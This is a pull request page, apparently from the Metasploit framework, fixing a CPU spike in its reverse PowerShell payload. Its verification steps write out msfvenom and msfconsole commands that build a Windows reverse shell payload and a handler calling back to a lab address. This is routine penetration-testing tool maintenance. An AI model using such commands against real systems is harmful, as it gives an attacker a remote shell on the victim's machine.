Fix psh template to avoid 100% cpu spike on CTRL+C #7522
Merged
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
As mentioned in #7293, using the
reverse_powershell
and exiting the shell without typingexit
(eg, by pressingCTR+C
and terminating the shell, or killing it viasessions -[K|k]
) would result in the Powershell process burning the CPU to 100%.This PR includes a tweak to the Powershell payload that makes this problem go away.
Verification
$ msfvenom -p cmd/windows/reverse_powershell LHOST=172.16.255.1 LPORT=8000 -f raw -o ~/scratch/met/ps-cmd.bat
$ msfconsole -q -x 'use exploit/multi/handler; set payload cmd/windows/reverse_powershell; set LHOST 172.16.255.1; set LPORT 8000; set ExitOnSession false; run -j'
exit
.sessions -K
to kill the session without interacting with it (or interact and pressCTRL+C
and terminate)Fixes #7293.